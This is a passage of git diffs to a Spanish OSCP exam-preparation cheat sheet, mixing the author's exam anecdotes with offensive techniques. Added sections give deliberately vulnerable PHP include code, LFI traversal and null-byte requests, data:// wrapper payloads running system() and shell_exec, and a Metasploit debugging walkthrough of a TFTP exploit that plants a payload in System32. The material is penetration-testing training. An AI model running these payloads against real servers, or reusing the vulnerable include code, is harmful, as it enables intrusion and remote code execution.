tcodeg · March 23, 2021 01:07 · Dec 23, 2018 · Nov 22, 2018 · Nov 22, 2018 · Nov 22, 2018
diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -82,6 +82,8 @@ Antes que nada me gustaría comentar un poco mi experiencia a la hora de abordar
 
 #### ¿Es difícil la certificación?
 
+![Certificado Físico](http://funkyimg.com/i/2Ptt9.jpg)
+
 Diría que la respuesta es relativa, siempre va a depender de la soltura que tengas con máquinas de tipo _CTF/Challenge_. 
 
 A mi por ejemplo la plataforma **HackTheBox** me ha servido de mucho para coger todo el fondo que tengo a día de hoy, así como **VulnHub** u **OverTheWire**. De hecho, lo que más me sorprendió a la hora de ir haciendo las máquinas del laboratorio fue la gran similitud con las máquinas de HackTheBox. Hablando en términos comparativos, os puedo decir que efectivamente corresponden a las de nivel medio de HTB, tal y como llegué a leer en su momento en algunos artículos de gente que había pasado con éxito la certificación.

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -3709,7 +3709,7 @@ En este caso, dado que a modo de ejemplo vamos a jugar únicamente con la variab
 
 ```
 
-**IMPORTANTE:** Es de vital importancia no confundirse en este punto, pues cabe decir que el cifrado se hace a través de las propias variables de entorno. Esto quiere decir, que tras la ejecución del binario en la máquina comprometido, esta se encargará de descifrar todo el ejecutable a través de las propias variables de entorno del sistema, lo que significa que en caso de haberlas introducido mal... la ejecución del binario no será funcional.
+**IMPORTANTE:** Es de vital importancia no confundirse en este punto, pues cabe decir que el cifrado se hace a través de las propias variables de entorno. Esto quiere decir, que tras la ejecución del binario en la máquina comprometida, este se encargará de descifrar todo el ejecutable a través de las propias variables de entorno del sistema, lo que significa que en caso de haberlas introducido mal... la ejecución del binario no será funcional.
 
 Una vez hecho, aplicamos el siguiente comando desde consola:
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -141,7 +141,7 @@ Sin más, ¡os dejo con toda la preparación del curso!
 
 Buffer Overflow Windows
 ===============================================================================================================================
-A continuación, se listan los pasos a seguir para la correcta explotación de Buffer Overflow en Windows (32 bits). Para la examinación, no se requieren de conocimientos avanzados de exploiting en BoF (bypassing ASLR, etc.), basta con practicar con servicios básicos y llevar esa misma metodología al examen.
+A continuación, se listan los pasos a seguir para la correcta explotación del Buffer Overflow en Windows (32 bits). Para la examinación, no se requieren de conocimientos avanzados de exploiting en BoF (bypassing ASLR, etc.), basta con practicar con servicios básicos y llevar esa misma metodología al examen.
 
 Servicios/Máquinas con los que practicar:
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -141,7 +141,7 @@ Sin más, ¡os dejo con toda la preparación del curso!
 
 Buffer Overflow Windows
 ===============================================================================================================================
-A continuación, se listan los pasos a seguir para la correcta explotación de Buffer Overflow en Linux (32 bits). Para la examinación, no se requieren de conocimientos avanzados de exploiting en BoF (bypassing ASLR, etc.), basta con practicar con servicios básicos y llevar esa misma metodología al examen.
+A continuación, se listan los pasos a seguir para la correcta explotación de Buffer Overflow en Windows (32 bits). Para la examinación, no se requieren de conocimientos avanzados de exploiting en BoF (bypassing ASLR, etc.), basta con practicar con servicios básicos y llevar esa misma metodología al examen.
 
 Servicios/Máquinas con los que practicar:
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -86,7 +86,7 @@ Diría que la respuesta es relativa, siempre va a depender de la soltura que ten
 
 A mi por ejemplo la plataforma **HackTheBox** me ha servido de mucho para coger todo el fondo que tengo a día de hoy, así como **VulnHub** u **OverTheWire**. De hecho, lo que más me sorprendió a la hora de ir haciendo las máquinas del laboratorio fue la gran similitud con las máquinas de HackTheBox. Hablando en términos comparativos, os puedo decir que efectivamente corresponden a las de nivel medio de HTB, tal y como llegué a leer en su momento en algunos artículos de gente que había pasado con éxito la certificación.
 
-Eso si, la certificación fue dura, de las más duras que he hecho en mi vida, con mis momentos de desesperación en los que no llegaba a ver las cosas claras, sobre todo por la nueva modalidad **Proctored**, que quieras o no pone un poco nervioso. Mi consejo en este punto es que no tires nunca la toalla, ni aunque quede 1 hora de examen. De hecho, fue justamente 2 horas antes de acabar el examen cuando lo iba a dar todo por perdido hasta que se me ocurrió un vector de ataque que milagrosamente funcionó y logré explotar con éxito comprometiendo otro de los sistemas del examen.
+Eso si, la certificación fue dura, de las más duras que he hecho en mi vida, con mis momentos de desesperación en los que no llegaba a ver las cosas claras, sobre todo por la nueva modalidad **Proctored**, que quieras o no pone un poco nervioso. Mi consejo en este punto es que no tires nunca la toalla, ni aunque quede 1 hora de examen. De hecho, fue justamente 2 horas antes de acabar el examen cuando lo iba a dar todo por perdido hasta que se me ocurrió un vector de ataque que milagrosamente funcionó y logré explotar con éxito comprometiendo otro de los sistemas de la red (con escalada de privilegios incluido).
 
 Para que te quedes tranquilo, si juegas mucho con máquinas de tipo CTF y te entrenas día a día con retos desafiantes que te hagan pensar, no tienes de qué preocuparte.
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -86,7 +86,7 @@ Diría que la respuesta es relativa, siempre va a depender de la soltura que ten
 
 A mi por ejemplo la plataforma **HackTheBox** me ha servido de mucho para coger todo el fondo que tengo a día de hoy, así como **VulnHub** u **OverTheWire**. De hecho, lo que más me sorprendió a la hora de ir haciendo las máquinas del laboratorio fue la gran similitud con las máquinas de HackTheBox. Hablando en términos comparativos, os puedo decir que efectivamente corresponden a las de nivel medio de HTB, tal y como llegué a leer en su momento en algunos artículos de gente que había pasado con éxito la certificación.
 
-Eso si, la certificación fue dura, de las más duras que he hecho en mi vida, con mis momentos de desesperación en los que no llegaba a ver las cosas claras, sobre todo por el nuevo protocolo del **Proctored**, que quieras o no pone un poco nervioso. Mi consejo en este punto es que no tires nunca la toalla, ni aunque quede 1 hora de examen. De hecho, fue justamente 2 horas antes de acabar el examen cuando lo iba a dar todo por perdido hasta que se me ocurrió un vector de ataque que milagrosamente funcionó y logré explotar con éxito comprometiendo otro de los sistemas del examen.
+Eso si, la certificación fue dura, de las más duras que he hecho en mi vida, con mis momentos de desesperación en los que no llegaba a ver las cosas claras, sobre todo por la nueva modalidad **Proctored**, que quieras o no pone un poco nervioso. Mi consejo en este punto es que no tires nunca la toalla, ni aunque quede 1 hora de examen. De hecho, fue justamente 2 horas antes de acabar el examen cuando lo iba a dar todo por perdido hasta que se me ocurrió un vector de ataque que milagrosamente funcionó y logré explotar con éxito comprometiendo otro de los sistemas del examen.
 
 Para que te quedes tranquilo, si juegas mucho con máquinas de tipo CTF y te entrenas día a día con retos desafiantes que te hagan pensar, no tienes de qué preocuparte.
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -86,7 +86,7 @@ Diría que la respuesta es relativa, siempre va a depender de la soltura que ten
 
 A mi por ejemplo la plataforma **HackTheBox** me ha servido de mucho para coger todo el fondo que tengo a día de hoy, así como **VulnHub** u **OverTheWire**. De hecho, lo que más me sorprendió a la hora de ir haciendo las máquinas del laboratorio fue la gran similitud con las máquinas de HackTheBox. Hablando en términos comparativos, os puedo decir que efectivamente corresponden a las de nivel medio de HTB, tal y como llegué a leer en su momento en algunos artículos de gente que había pasado con éxito la certificación.
 
-Eso si, la certificación fue dura, de las más duras que he hecho en mi vida, con mis momentos de desesperación en los que no lleguaba a ver las cosas claras, sobre todo por el nuevo protocolo del **Proctored**, que quieras o no pone un poco nervioso. Mi consejo en este punto es que no tires nunca la toalla, ni aunque quede 1 hora de examen. De hecho, fue justamente 2 horas antes de acabar el examen cuando lo iba a dar todo por perdido hasta que se me ocurrió un vector de ataque que milagrosamente funcionó y logré explotar con éxito comprometiendo otro de los sistemas del examen.
+Eso si, la certificación fue dura, de las más duras que he hecho en mi vida, con mis momentos de desesperación en los que no llegaba a ver las cosas claras, sobre todo por el nuevo protocolo del **Proctored**, que quieras o no pone un poco nervioso. Mi consejo en este punto es que no tires nunca la toalla, ni aunque quede 1 hora de examen. De hecho, fue justamente 2 horas antes de acabar el examen cuando lo iba a dar todo por perdido hasta que se me ocurrió un vector de ataque que milagrosamente funcionó y logré explotar con éxito comprometiendo otro de los sistemas del examen.
 
 Para que te quedes tranquilo, si juegas mucho con máquinas de tipo CTF y te entrenas día a día con retos desafiantes que te hagan pensar, no tienes de qué preocuparte.
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -84,7 +84,9 @@ Antes que nada me gustaría comentar un poco mi experiencia a la hora de abordar
 
 Diría que la respuesta es relativa, siempre va a depender de la soltura que tengas con máquinas de tipo _CTF/Challenge_. 
 
-A mi por ejemplo la plataforma **HackTheBox** me ha servido de mucho para coger todo el fondo que tengo a día de hoy, así como **VulnHub** u **OverTheWire**. De hecho, lo que más me sorprendió a la hora de ir haciendo las máquinas del laboratorio fue la gran similitud con las máquinas de HackTheBox. Hablando en términos comparativos, os puedo decir que efectivamente corresponden a las de nivel medio (tirando a bajo) de HTB, tal y como llegué a leer en su momento en algunos artículos de gente que había pasado con éxito la certificación.
+A mi por ejemplo la plataforma **HackTheBox** me ha servido de mucho para coger todo el fondo que tengo a día de hoy, así como **VulnHub** u **OverTheWire**. De hecho, lo que más me sorprendió a la hora de ir haciendo las máquinas del laboratorio fue la gran similitud con las máquinas de HackTheBox. Hablando en términos comparativos, os puedo decir que efectivamente corresponden a las de nivel medio de HTB, tal y como llegué a leer en su momento en algunos artículos de gente que había pasado con éxito la certificación.
+
+Eso si, la certificación fue dura, de las más duras que he hecho en mi vida, con mis momentos de desesperación en los que no lleguaba a ver las cosas claras, sobre todo por el nuevo protocolo del **Proctored**, que quieras o no pone un poco nervioso. Mi consejo en este punto es que no tires nunca la toalla, ni aunque quede 1 hora de examen. De hecho, fue justamente 2 horas antes de acabar el examen cuando lo iba a dar todo por perdido hasta que se me ocurrió un vector de ataque que milagrosamente funcionó y logré explotar con éxito comprometiendo otro de los sistemas del examen.
 
 Para que te quedes tranquilo, si juegas mucho con máquinas de tipo CTF y te entrenas día a día con retos desafiantes que te hagan pensar, no tienes de qué preocuparte.
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -15,7 +15,7 @@
      * [Salto al ESP (Mona / Immunity Debugger)](#salto-al-esp)
      * [Mejorando el Exploit](#mejorando-el-exploit)
      * [Reduciendo el Size y Acceso por Powershell](#reduciendo-el-size-y-acceso-por-powershell)
-- [Buffer Overflow Linux (No cae en el examen)](#buffer-overflow-linux)
+- [Buffer Overflow Linux](#buffer-overflow-linux)
      * [Calculando el Offset (Linux)](#calculando-el-offset-en-linux)
      * [Register Enumeration](#register-enumeration)
      * [JMP ESP Opcode](#jmp-esp-opcode)
@@ -789,7 +789,7 @@ Inmediatamente tras ejecutar el script, veremos cómo se recibe un GET desde nue
 Buffer Overflow Linux
 ===============================================================================================================================
 
-Hasta donde yo se, nunca ha caído un _Buffer Overflow_ de Linux, pero por si las moscas, detallo el procedimiento usando como ejemplo el aplicativo **Crossfire**.
+Hasta donde yo se, no es común que caiga un _Buffer Overflow_ de Linux, pero por si las moscas, detallo el procedimiento usando como ejemplo el aplicativo **Crossfire**.
 
 #### Fuzzing
 

diff --git a/Preparación OSCP1.md b/Preparación OSCP1.md
diff --git a/Preparación OSCP2.md b/Preparación OSCP2.md
diff --git a/Preparación OSCP3.md b/Preparación OSCP3.md
diff --git a/Preparación OSCP3.md b/Preparación OSCP3.md
@@ -4,7 +4,7 @@
 #### Penetration Testing with Kali Linux (PWK) course and Offensive Security Certified Professional (OSCP) Cheat Sheet
 
 ## Índice y Estructura Principal
-- [Antecedentes - Experiencia Personal](#Antecedentes)
+
 - [Buffer Overflow Windows (25 puntos)](#buffer-overflow-windows)
      * [Fuzzing](#fuzzing)
      * [Calculando el Offset (Tamaño del Búffer)](#calculando-el-offset)
@@ -15,7 +15,7 @@
      * [Salto al ESP (Mona / Immunity Debugger)](#salto-al-esp)
      * [Mejorando el Exploit](#mejorando-el-exploit)
      * [Reduciendo el Size y Acceso por Powershell](#reduciendo-el-size-y-acceso-por-powershell)
-- [Buffer Overflow Linux (No cae en el examen)](#buffer-overflow-linux)
+- [Buffer Overflow Linux](#buffer-overflow-linux)
      * [Calculando el Offset (Linux)](#calculando-el-offset-en-linux)
      * [Register Enumeration](#register-enumeration)
      * [JMP ESP Opcode](#jmp-esp-opcode)

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -2411,6 +2411,18 @@ http://example.com/index.php?file=data:text/plain;,<?php echo shell_exec($_GET['
 
 Otro payload interesante a tener en cuenta es el `<?php phpinfo(); die();?>`. La funcionalidad **die** previene la ejecución del resto del script o la ejecución de la extensión decodificada incorrectamente anexada a la secuencia.
 
+Para ejecutar en ambos casos directamente un comando, la solicitud de datos + carga útil puede ser:
+
+```bash
+http://example.com/index.php?file=data:,<?system($_GET['x']);?>&x=ls
+```
+
+O también:
+
+```bash
+http://example.com/index.php?file=data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls.
+```
+
 ##### Wrapper expect://
 
 ```bash

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -2396,11 +2396,21 @@ http://example.com/index.php?page=zip://shell.jpg%23payload.php
 
 ##### Wrapper data://
 
+Este Wrapper nos permite ejecutar directamente código PHP:
+
 ```bash
 http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
 NOTA: El payload es "<?php system($_GET['cmd']);echo 'Tenemos Shell!'; ?>"
 ```
 
+Otra forma:
+
+```bash
+http://example.com/index.php?file=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?>
+```
+
+Otro payload interesante a tener en cuenta es el `<?php phpinfo(); die();?>`. La funcionalidad **die** previene la ejecución del resto del script o la ejecución de la extensión decodificada incorrectamente anexada a la secuencia.
+
 ##### Wrapper expect://
 
 ```bash

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -2220,7 +2220,21 @@ s4vitar:100000:65536
 
 **Double encoding**
 
+Para continuar evitando filtro, se puede hacer uso de una doble codificación. Esto es, codificamos los datos por primera vez:
 
+```bash
+%2E%2E%2Fetc%2Fpasswd
+```
+
+Y ahora codificamos el **%**:
+
+```bash
+%252E%252E%252Fetc%252Fpasswd
+```
+
+**Path Truncation**
+
+Sobre la solicitud en la que pretendemos hacer **LFI**, añadimos mil veces **./** para el recurso **../../../../etc/passwd/././././././<...>/.php**. Una vez el nombre del archivo cuenta con más de 4.096 bytes, se elimina la parte más larga. De esta forma, nuestra petición se convierte en **../../../../etc/passwd**.
 
 #### RFI
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -2218,6 +2218,9 @@ s4vitar:100000:65536
 ┌─[root@parrot]─[/var/www/html]
 ```
 
+**Double encoding**
+
+
 
 #### RFI
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -2195,7 +2195,28 @@ Cabe decir que el **Null Byte Injection** fue arreglado en PHP a partir de la ve
 
 **Filter Evasion**
 
+Código del servidor:
+
+```php
+<?php
+$file = str_replace('../', '', $_GET['file']);
+if(isset($file))
+{
+  include("lib/functions/$file");
+}
+```
 
+Petición malintencionada:
+
+```bash
+┌─[root@parrot]─[/var/www/html]
+└──╼ #curl --silent "http://localhost/index.php?file=..%2F..%2F..%2F..%2F..%2Fetc/subgid"
+s4vitar:100000:65536
+┌─[root@parrot]─[/var/www/html]
+└──╼ #curl --silent "http://localhost/index.php?file=....//....//....//....//....//etc/subgid"
+s4vitar:100000:65536
+┌─[root@parrot]─[/var/www/html]
+```
 
 
 #### RFI

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -2193,6 +2193,10 @@ s4vitar:100000:65536
 
 Cabe decir que el **Null Byte Injection** fue arreglado en PHP a partir de la versión **5.3.4**.
 
+**Filter Evasion**
+
+
+
 
 #### RFI
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -2194,8 +2194,6 @@ s4vitar:100000:65536
 Cabe decir que el **Null Byte Injection** fue arreglado en PHP a partir de la versión **5.3.4**.
 
 
-
-
 #### RFI
 
 Esta vulnerabilidad tiene cierta similitud que el LFI, sólo que la inclusión de archivos se produce de manera remota, permitiéndonos desde la URL vulnerable de un servicio web apuntar hacia servicios locales de nuestro equipo que estemos compartiendo.

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -2186,10 +2186,13 @@ http://localhost/index.php?file=contact
 
 Petición malintencionada:
 
-```python
-
+```bash
+curl --silent "http://localhost/index.php?file=../../../../../../../../../etc/subgid%00"
+s4vitar:100000:65536
 ```
 
+Cabe decir que el **Null Byte Injection** fue arreglado en PHP a partir de la versión **5.3.4**.
+
 
 
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -2110,7 +2110,85 @@ windows\repair\SAM
 
 A continuación, se detallan algunas vulnerabilidades de tipo **LFI** con el código del lado del servidor, para poder practicar en local dichas técnicas.
 
-##### Basic Includes
+**Basic Includes**
+
+Código del servidor:
+
+```php
+<?php
+$file = $_GET['file'];
+
+if(isset($file))
+{
+  include("$file");
+}
+```
+
+Petición legítima:
+
+```bash
+http://localhost/index.php?file=contact.php
+```
+
+Petición malintencionada:
+
+```bash
+┌─[root@parrot]─[/var/www/html]
+└──╼ #curl --silent http://localhost/index.php?file=/etc/subgid
+s4vitar:100000:65536
+```
+
+**Directory traversal attack**
+
+Código del servidor:
+
+```php
+<?php
+$file = $_GET['file'];
+if(isset($file))
+{
+  include("lib/functions/$file");
+}
+```
+
+Petición legítima:
+
+```bash
+http://localhost/index.php?file=contact.php
+```
+
+Petición malintencionada:
+
+```bash
+┌─[root@parrot]─[/var/www/html]
+└──╼ #curl --silent http://localhost/index.php?file=../../../../../etc/subgid
+s4vitar:100000:65536
+```
+
+**Null Byte Injection**
+
+Código del servidor:
+
+```php
+<?php
+$file = $_GET['file'];
+if(isset($file))
+{
+  include("lib/functions/$file.php");
+}
+```
+
+Petición legítima:
+
+```bash
+http://localhost/index.php?file=contact
+```
+
+Petición malintencionada:
+
+```python
+
+```
 
 
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -36,7 +36,8 @@
        * [Metasploit Debugging](#metasploit-debugging)
      * [Pentesting Web](#pentesting-web)
        * [LFI (Local File Inclusion)](#lfi)
-       * [RFI (Remote File Inclusion)](#lfi)
+       * [LFI (Local File Inclusion) Code Examples](#lfi-code-examples)
+       * [RFI (Remote File Inclusion)](#rfi)
        * [LFI to RCE](#lfi-to-rce)
        * [LFI to RCE via PHP Sessions](#lfi-to-rce-via-php-sessions)
        * [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-environ)
@@ -2105,6 +2106,15 @@ windows\repair\SAM
 %SYSTEMROOT%\System32\config\RegBack\system
 ```
 
+#### LFI Code Examples
+
+A continuación, se detallan algunas vulnerabilidades de tipo **LFI** con el código del lado del servidor, para poder practicar en local dichas técnicas.
+
+##### Basic Includes
+
+
+
+
 #### RFI
 
 Esta vulnerabilidad tiene cierta similitud que el LFI, sólo que la inclusión de archivos se produce de manera remota, permitiéndonos desde la URL vulnerable de un servicio web apuntar hacia servicios locales de nuestro equipo que estemos compartiendo.

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -1965,7 +1965,7 @@ Este exploit contaba con otras ligeras modificaciones a hacer, pero con esto ya
 
 Otra opción para los menos valientes (aunque a veces también la aplico), es configurar un proxy desde Burpsuite. Para ello, simplemente en la pestaña de Proxies (**Options**), añadimos un nuevo Proxy, generalmente sobre un puerto aleatorio (puerto 4646 [Bind to Port] a modo de ejmplo). Este puerto, en la pestaña **Request Handling**, debe redireccionar al Host víctima así como al puerto real donde se encuentre el servicio configurado que queremos analizar.
 
-Lo que conseguimos con esto, es que de visualizar el recurso **http://localhost:4646**, nos cargue el mismo contenido que el del servicio web del Host víctima. La utilidad de este procedimiento, es que desde Metasploit a la hora de lanzar cualquier exploit, podemos configurar como IP nuestra IP local (127.0.0.1) así como el puerto 4646 para que todo el tráfico sea interceptado desde Burpsuite y posteriormente redireccionado al Host víctima. Esto nos permite analizar por ejemplo desde el **Repeater** cómo es la respuesta del lado del servidor.
+Lo que conseguimos con esto, es que de visualizar el recurso **http://localhost:4646**, nos cargue el mismo contenido que el del servicio web del Host víctima. La utilidad de este procedimiento, es que desde Metasploit a la hora de lanzar cualquier exploit, podemos configurar como IP nuestra IP local (127.0.0.1) así como el puerto 4646 para que todo el tráfico sea interceptado desde Burpsuite y posteriormente redireccionado al Host víctima. Esto nos permite analizar por ejemplo desde el **Repeater** cómo es la respuesta del lado del servidor una vez se envía el exploit al Host víctima.
 
 ### Pentesting Web
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -1963,7 +1963,7 @@ Este exploit contaba con otras ligeras modificaciones a hacer, pero con esto ya
 
 **2. Burpsuite**
 
-Otra opción para los menos valientes (aunque a veces también la aplico), es configurar un proxy desde Burpsuite. Para ello, simplemente en la pestaña de Proxies (**Options**), añadimos un nuevo Proxy, generalmente sobre un puerto aleatorio (puerto 4646 [Bind to Port] a modo de ejmplo). Este puerto, en la pestaña **Request Handling**, debe redirección al Host víctima así como al puerto real donde se encuentra el servicio que queremos analizar configurado.
+Otra opción para los menos valientes (aunque a veces también la aplico), es configurar un proxy desde Burpsuite. Para ello, simplemente en la pestaña de Proxies (**Options**), añadimos un nuevo Proxy, generalmente sobre un puerto aleatorio (puerto 4646 [Bind to Port] a modo de ejmplo). Este puerto, en la pestaña **Request Handling**, debe redireccionar al Host víctima así como al puerto real donde se encuentre el servicio configurado que queremos analizar.
 
 Lo que conseguimos con esto, es que de visualizar el recurso **http://localhost:4646**, nos cargue el mismo contenido que el del servicio web del Host víctima. La utilidad de este procedimiento, es que desde Metasploit a la hora de lanzar cualquier exploit, podemos configurar como IP nuestra IP local (127.0.0.1) así como el puerto 4646 para que todo el tráfico sea interceptado desde Burpsuite y posteriormente redireccionado al Host víctima. Esto nos permite analizar por ejemplo desde el **Repeater** cómo es la respuesta del lado del servidor.
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -1963,6 +1963,10 @@ Este exploit contaba con otras ligeras modificaciones a hacer, pero con esto ya
 
 **2. Burpsuite**
 
+Otra opción para los menos valientes (aunque a veces también la aplico), es configurar un proxy desde Burpsuite. Para ello, simplemente en la pestaña de Proxies (**Options**), añadimos un nuevo Proxy, generalmente sobre un puerto aleatorio (puerto 4646 [Bind to Port] a modo de ejmplo). Este puerto, en la pestaña **Request Handling**, debe redirección al Host víctima así como al puerto real donde se encuentra el servicio que queremos analizar configurado.
+
+Lo que conseguimos con esto, es que de visualizar el recurso **http://localhost:4646**, nos cargue el mismo contenido que el del servicio web del Host víctima. La utilidad de este procedimiento, es que desde Metasploit a la hora de lanzar cualquier exploit, podemos configurar como IP nuestra IP local (127.0.0.1) así como el puerto 4646 para que todo el tráfico sea interceptado desde Burpsuite y posteriormente redireccionado al Host víctima. Esto nos permite analizar por ejemplo desde el **Repeater** cómo es la respuesta del lado del servidor.
+
 ### Pentesting Web
 
 #### LFI

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -1612,6 +1612,355 @@ require 'pry-byebug' # Nueva línea a insertar, las demás están por defecto.
 if ENV['METASPLOIT_FRAMEWORK_PROFILE'] == 'true'
 ```
 
+Para poner un caso práctico, vamos a ponerlo en práctica con la máquina **Dropzone** de HackTheBox. Esta máquina se puede comprometer a través de un exploit de Metasploit, pero este no rula correctamente tal y como necesitamos para que todo funcione.
+
+El servicio a atacar es el **TFTP**, y el módulo es el **exploit/windows/tftp/distinct_tftp_traversal**. Este exploit, cuenta con las siguientes configuraciones:
+
+```bash
+Module options (exploit/windows/tftp/distinct_tftp_traversal):
+
+   Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+   DEPTH  10               no        Levels to reach base directory
+   RHOST                   yes       The remote TFTP server address
+   RPORT  69               yes       The remote TFTP server port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Distinct TFTP 3.10 on Windows
+```
+
+En este caso, podemos aplicar un **LFI** sobre el servicio, siendo la variable **DEPTH** la correspondiente al número de veces que queremos retroceder hasta llegar a la ruta raíz. Este exploit, cuenta con un ligero problema y es que para el caso aplicado, el valor de DEPTH debe valer 0, y por defecto tras setearlo mantiene su valor de 10, lo que hace que el exploit no funcione correctamente.
+
+¿Cómo podríamos haber sabido esto sin mirar el código?, **pry-byebug** será la respuesta a nuestros problemas.
+
+Lo que haremos será generar una instancia del módulo importando el mismo sobre el directorio ~/.msf4/modules/exploits/windows/tftp/exploit_tftp.rb:
+
+```bash
+┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop]
+└──╼ #searchsploit -m exploits/windows/webapps/41714.rb
+  Exploit: Distinct TFTP 3.10 - Writable Directory Traversal Execution (Metasploit)
+      URL: https://www.exploit-db.com/exploits/41714/
+     Path: /usr/share/exploitdb/exploits/windows/webapps/41714.rb
+File Type: Ruby script, ASCII text, with CRLF line terminators
+
+Copied to: /home/s4vitar/Desktop/41714.rb
+
+
+┌─[root@parrot]─[/home/s4vitar/Desktop]
+└──╼ #cp 41714.rb ~/.msf4/modules/exploits/windows/tftp/exploit_tftp.rb
+```
+
+Recordemos que jugamos con instancias para evitar que el binario original pete por alguna razón. Una vez hecho, dado que hemos importado la utilidad **pry-byebug** en la nueva instancia de **msfconsole**, lo que nos queda es establecer un **BreakPoint** sobre el módulo que queremos Debuggear. 
+
+Para ello, abrimos la instancia del módulo, y añadimos la siguiente línea (lo haré en la siguiente porción de código):
+
+```bash
+  def exploit
+    peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
+
+    # Setup the necessary files to do the wbemexec trick
+    binding.pry # <-------------------------------- Nueva línea que hemos añadido
+    exe_name = rand_text_alpha(rand(10)+5) + '.exe'
+```
+
+¿Qué consguimos con esto?, vamos a comprobarlo. Correremos el **msfconsole** desde la ruta **/opt/metasploit-framework/msfconsole**, posteriormente seleccionaremos el nuevo módulo clonado, setearemos el **DEPTH** a 0, configuramos el resto de variables y le daremos a **run**:
+
+```bash
+┌─[✗]─[root@parrot]─[/opt/metasploit-framework]
+└──╼ #/opt/metasploit-framework/msfconsole -q
+[*] Starting persistent handler(s)...
+msf > use exploit/windows/tftp/exploit_tftp 
+msf exploit(windows/tftp/exploit_tftp) > show options
+
+Module options (exploit/windows/tftp/exploit_tftp):
+
+   Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+   DEPTH  10               no        Levels to reach base directory
+   RHOST                   yes       The remote TFTP server address
+   RPORT  69               yes       The remote TFTP server port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Distinct TFTP 3.10 on Windows
+
+
+msf exploit(windows/tftp/exploit_tftp) > set DEPTH 0
+DEPTH => 0
+msf exploit(windows/tftp/exploit_tftp) > set RHOST 192.168.1.12
+RHOST => 192.168.1.12
+msf exploit(windows/tftp/exploit_tftp) > run
+```
+
+Una vez hecho, obtendremos los siguientes resultados:
+
+```bash
+msf exploit(windows/tftp/exploit_tftp) > run
+
+[*] Started reverse TCP handler on 192.168.1.51:4444 
+Found plugin pry-byebug, but could not require 'pry-byebug'
+cannot load such file -- pry-byebug
+
+From: /root/.msf4/modules/exploits/windows/tftp/exploit_tftp.rb @ line 86 Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule#exploit:
+
+     81: def exploit
+     82:   peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
+     83: 
+     84:   # Setup the necessary files to do the wbemexec trick
+     85:   binding.pry
+ =>  86:   exe_name = rand_text_alpha(rand(10)+5) + '.exe'
+     87:   exe      = generate_payload_exe
+     88:   mof_name = rand_text_alpha(rand(10)+5) + '.mof'
+     89:   mof      = generate_mof(mof_name, exe_name)
+     90: 
+     91:   # Configure how deep we want to traverse
+     92:   depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
+     93:   levels = "../" * depth
+     94: 
+     95:   # Upload the malicious executable to C:\Windows\System32\
+     96:   print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
+     97:   upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
+     98: 
+     99:   # Let the TFTP server idle a bit before sending another file
+    100:   select(nil, nil, nil, 1)
+    101: 
+    102:   # Upload the mof file
+    103:   print_status("#{peer} - Uploading .mof...")
+    104:   upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
+    105: end
+
+[1] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)>
+```
+
+En este preciso instante, nos situaríamos en la línea 86 del código del programa, manteniendo el mismo en estado de pausa (esto es así debido a que es en la línea superior donde hemos fijado el Breakpoint).
+
+Llegados a este punto, si nos fijamos, en esa misma línea se va a almacenar un valor para la variable exe_name, ¿podríamos ver el valor que se almacena en dicha variable?, la respuesta es sí... para ello necesitamos avanzar una instrucción en la línea del programa para posteriormente ver su contenido. Lo haríamos de la siguiente forma:
+
+```bash
+[1] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)> n
+
+From: /root/.msf4/modules/exploits/windows/tftp/exploit_tftp.rb @ line 87 Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule#exploit:
+
+     81: def exploit
+     82:   peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
+     83: 
+     84:   # Setup the necessary files to do the wbemexec trick
+     85:   binding.pry
+     86:   exe_name = rand_text_alpha(rand(10)+5) + '.exe'
+ =>  87:   exe      = generate_payload_exe
+     88:   mof_name = rand_text_alpha(rand(10)+5) + '.mof'
+     89:   mof      = generate_mof(mof_name, exe_name)
+     90: 
